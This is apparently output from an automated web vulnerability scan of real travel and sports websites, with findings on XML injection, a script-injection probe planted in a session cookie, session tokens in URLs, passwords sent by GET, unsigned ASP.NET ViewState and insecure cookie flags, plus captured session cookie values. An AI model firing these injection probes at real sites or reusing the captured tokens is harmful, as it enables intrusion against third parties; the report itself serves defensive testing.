<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /en/cmds]]>>/stats.xml.php was not found on this server.</p> ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 404 Not Found Server: Apache Content-Length: 231 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 03 Oct 2011 00:31:27 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /site/cmds/stats.xml.php]]>> was not found on this server.</p> ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The src parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the src parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /resetPassword.do HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/scripts/bam/bam.env.jsp HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Accept-Language: en-us Referer: https://secure.mlb.com/resetPassword.do Accept: */* Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:42 GMT Expires: Mon, 03 Oct 2011 01:48:42 GMT Edge-control: max-age=7200 Content-type: text/javascript;charset=ISO-8859-1 Content-length: 811 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/bam.css.jsp?c_id=%0Adocument.title=1317599335378049; HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:58 GMT Expires: Mon, 03 Oct 2011 01:48:58 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 9935
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/nav_2011.jsp?c_id=%0Adocument.title=1317599336102051;§ion=schedule HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:59 GMT Expires: Mon, 03 Oct 2011 01:48:59 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 16918
The following cookie was issued by the application and does not have the secure flag set:
LOCALE=en%5FUS;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:30:37 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58824
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]...
10. Session token in URLpreviousnext There are 31 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /___waseq.img on this server.</p> < ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://gcm.chango.com/collector/relator?id=E1&partnerId=&referrerURL=&token=b6ae888c-d95b-11e0-b096-0025900e0834">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://gcm.chango.com/collector/ ...[SNIP]...
HTTP/1.1 302 Moved Temporarily Date: Mon, 03 Oct 2011 00:08:05 GMT Server: Apache P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Location: http://i.travelocity.com/t.gif Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/plain; charset=ISO-8859-1
function esf(){var M='',nb='" for "gwt:onLoadErrorFn"',lb='" for "gwt:onPropertyErrorFn"',Y='"><\/script>',$='#',Lb='.cache.html?jsessionid='+jsessionid,ab='/',Fb='226C4CC2E5A5A4FBE9703DC949A8A7C5',Gb ...[SNIP]...
<script language="Javascript"> function checkDom() { var sTest = ""; var newURL; var thisURL = window.location.href; var bSecSwap = true; try{ sTest = window.opener.doc ...[SNIP]...
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://travela.priceline.com/hotel/searchHotels.do?session_key=711510AC721510AC2011100300374475eeb ...[SNIP]...
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://travela.priceline.com/hotel/searchHotels.do?session_key=711510AC721510AC2011100300374475eeb1270807&plf=pclh&INIT_SESSION=true&refid=PLAWAYNETWORK&refclickid=TRIP_HOTELSEARCH&searchType=CITY&cityName=bos&numberOfRooms=1&hotelBrand=&searchHotelName=&starRating=-1&checkInDate=10%2F09%2F2011&checkOutDate=10%2F16%2F2011&KMode=Y&selectedTab=0&passingValues=YES&affiliateSubID=514A">here</a> ...[SNIP]...
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.priceline.com/hotels/Lang/en-us/retail/retail_bounce.asp?session_key=711510AC721510AC20111003003909435251213033&plf=pcln&KT=Y&ASID=514">here</a> ...[SNIP]...
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.priceline.com/hotels/Lang/en-us/retail/retail_bounce.asp?session_key=711510AC721510AC20 ...[SNIP]...
11. Password field submitted using GET methodpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://www.booking.com
Path:
/index.en-us.html
Issue detail
The page contains a form with the following action URL, which is submitted using the GET method:
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
12. ASP.NET ViewState without MAC enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://www.agoda.com
Path:
/
Issue description
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /resetPassword.do HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/scripts/bam/bam.env.jsp HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Accept-Language: en-us Referer: https://secure.mlb.com/resetPassword.do Accept: */* Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:42 GMT Expires: Mon, 03 Oct 2011 01:48:42 GMT Edge-control: max-age=7200 Content-type: text/javascript;charset=ISO-8859-1 Content-length: 811 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/bam.css.jsp?c_id=%0Adocument.title=1317599335378049; HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:58 GMT Expires: Mon, 03 Oct 2011 01:48:58 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 9935
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /style/nav_2011.jsp?c_id=%0Adocument.title=1317599336102051;§ion=schedule HTTP/1.1 Pragma: no-cache Content-Type: application/x-www-form-urlencoded Content-length: 0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: secure.mlb.com Cookie: s_cc=true; stUtil_cookie=1%7C%7C9620647761317598889493; s_sq=%5B%5BB%5D%5D; SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword
Response
HTTP/1.1 200 OK Server: Oracle-iPlanet-Web-Server/7.0 Date: Sun, 02 Oct 2011 23:48:59 GMT Expires: Mon, 03 Oct 2011 01:48:59 GMT Edge-control: max-age=7200 Content-type: text/css;charset=ISO-8859-1 Set-cookie: SESSION_1=wf_flowId%3D%3D%3Dregistration.forgottenpassword%7Ewf_c_id%3D%3D%3D%22%3E%3CSCRIPT%3Edocument.title%3D1317599208257014%3C%2FSCRIPT%3E%3C%22%7Estage%3D%3D%3D2%7EflowId%3D%3D%3Dregistration.forgottenpassword; Domain=.mlb.com; Path=/ Content-Length: 16918
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<script language="Javascript"> function checkDom() { var sTest = ""; var newURL; var thisURL = window.location.href; var bSecSwap = true; try{ sTest = window.opener.doc ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
p1=`accttype=v.2,8,1,EX014BD1106A$B48SBjmv$E3$7B$1Es$A7$BD3$18$E3$7D$14$5CM$B56$8F$E0j$13$F9$CBG$E6$F7v$A6`minfo=v.5,EX01EEEB4066$B48SBymv$FCb$10s$A7$BE3$18$E3$7D$14RM$B76$8F$E6j$13$FA$CEG$E6$F0v$916$3E$1Bn$2B$7D$2A$87$92$E2$FE$19$35$17Wf$0Bi$15$EC$26b$A33$93z$1Fd$871$12$3CM$7E`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||Guest|User|Guest|User|Guest S User|247906574|1033|0|0||0|0|0|-1|-1`382; Domain=.expedia.com; Expires=Sun, 02-Oct-2016 06:11:05 GMT; Path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
p1=`minfo=v.5,EX01B7A7E781$9B$B1KB$EF$A4$FBJ$F2$A0$FC$25$96$FF$9A$90l$9Ds$C4$E1$82$EF$E3$EB$AC$37E$8DW$8B$9C$BDM$29q$E3$9A$13$CDO$15$A4$F7$5C$FE$EBEn$0E$83.$B6$FD$ED$9E$A4$E4$C16$86k$EF`accttype=v.2,8,1,EX012A48FECC$9B$B1KB$F2$A4$FBL$F2$BC$FC$2B$95$FF$9B$90z$9Ds$C2$E1$82$EB!2$E3$AC$37I$8DW$85$AA$BDM`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||Guest|User|Guest|User|Guest S User|247905900|1033|0|0||0|0|0|-1|-1`404; Domain=.expedia.com; Expires=Sun, 02-Oct-2016 06:06:28 GMT; Path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Connection: keep-alive Status: 200 X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8 ETag: "c52e212f54eec4829ea5658dd625fe7e" P3P: CP="CAO DSP DEVa TAIa OUR BUS UNI NAV STA PRE LOC", policyref="/w3c/p3p.xml" X-Runtime: 489 Set-Cookie: show_pu=pageview=1&allowed=true&shown=false; path=/ Set-Cookie: www_session=BAh7CzoLc2VhcmNoaQM79eU6EWdlb19sb2NhdGlvbnsIOhFjb3VudHJ5X2NvZGUiB1VTOhJjdXJyZW5jeV9jb2RlIghVU0Q6EWNvdW50cnlfbmFtZSISVW5pdGVkIFN0YXRlczoPc2Vzc2lvbl9pZCIlNGYwYmM2NTg4ZGQ1NjhkZDAyNzJiNTc2ODQ4ZGU2ZjE6EF9jc3JmX3Rva2VuIjFUeFhFMHM5NXkzS2tHYTFGQmdhSGJxczRKT05qaU55SFFQOHJDWmJ6SVZBPSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoTcmVtb3RlX2FkZHJlc3MiEjUwLjIzLjEyMy4xMDY%3D--4a29eac522682a877f487f79d32005f0cda149f5; domain=.getaroom.com; path=/; HttpOnly Cache-Control: private, max-age=0, must-revalidate Server: nginx/0.8.55 + Phusion Passenger 3.0.8 (mod_rails/mod_rack) Content-Length: 8536
this.heading_update[this.deals_cache_index] = '<div id=\"deals_heading\"><h2>Hotel Deals of the Day · <span id=\"updated_deals_heading\">Washington DC<\/span><\/h2><\/div>';
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /searches/show?destination=+&check_in=10/09/2011&check_out=10/16/2011&num_guests=1&num_rooms=1&affiliate=032ea00e HTTP/1.1 Host: www.getaroom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Connection: keep-alive Status: 302 X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8 P3P: CP="CAO DSP DEVa TAIa OUR BUS UNI NAV STA PRE LOC", policyref="/w3c/p3p.xml" Location: http://www.getaroom.com/searches/show?check_in=10%2F09%2F2011&check_out=10%2F16%2F2011&destination=+&num_guests=1&num_rooms=1&utm_campaign=Affiliate&utm_medium=cpa&utm_source=away.com X-Runtime: 7 Content-Length: 277 Set-Cookie: affiliate=032ea00e; path=/ Set-Cookie: www_session=BAh7CzoLc2VhcmNoaQM79eU6EWdlb19sb2NhdGlvbnsIOhFjb3VudHJ5X2NvZGUiB1VTOhJjdXJyZW5jeV9jb2RlIghVU0Q6EWNvdW50cnlfbmFtZSISVW5pdGVkIFN0YXRlczoQX2NzcmZfdG9rZW4iMVR4WEUwczk1eTNLa0dhMUZCZ2FIYnFzNEpPTmppTnlIUVA4ckNaYnpJVkE9Og9zZXNzaW9uX2lkIiU0ZjBiYzY1ODhkZDU2OGRkMDI3MmI1NzY4NDhkZTZmMSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsGOgtub3RpY2UiJlBsZWFzZSBlbnRlciBhIHZhbGlkIGRlc3RpbmF0aW9uLgY6CkB1c2VkewY7DVQ6E3JlbW90ZV9hZGRyZXNzIhI1MC4yMy4xMjMuMTA2--497837da868085a13e75b3c8521055c245269263; domain=.getaroom.com; path=/; HttpOnly Cache-Control: no-cache Server: nginx/0.8.55 + Phusion Passenger 3.0.8 (mod_rails/mod_rack)
<html><body>You are being <a href="http://www.getaroom.com/searches/show?check_in=10%2F09%2F2011&check_out=10%2F16%2F2011&destination=+&num_guests=1&num_rooms=1&utm_campaign=Affili ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /QP.asp?ProductID=5R&refid=PLIGOUGO&refclickid=HOTELSEARCH&City=Boston,United%20States&Rooms=1&CheckInDate=10/04/11&CheckOutDate=10/07/11 HTTP/1.1 Host: www.priceline.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=priceline&grp=9706&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.priceline.com%2FQP.asp%3FProductID%3D5R%26refid%3DPLIGOUGO%26refclickid%3DHOTELSEARCH%26City%3D%24%7Bcity%7D%2C%24%7Bcountryn%7D%26Rooms%3D%24%7Brooms%7D%26CheckInDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D%26CheckOutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyy%22%7D&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=154&pos=1&aii=d1125990-8f30-4f2a-83dc-0b115fb728a1&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="http://www.priceline.com/hotels/Lang/en-us/retail/retail_bounce.asp?session_key=711510AC721510AC20 ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml"> <head> <meta http-equiv="content-type" content="text/html ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
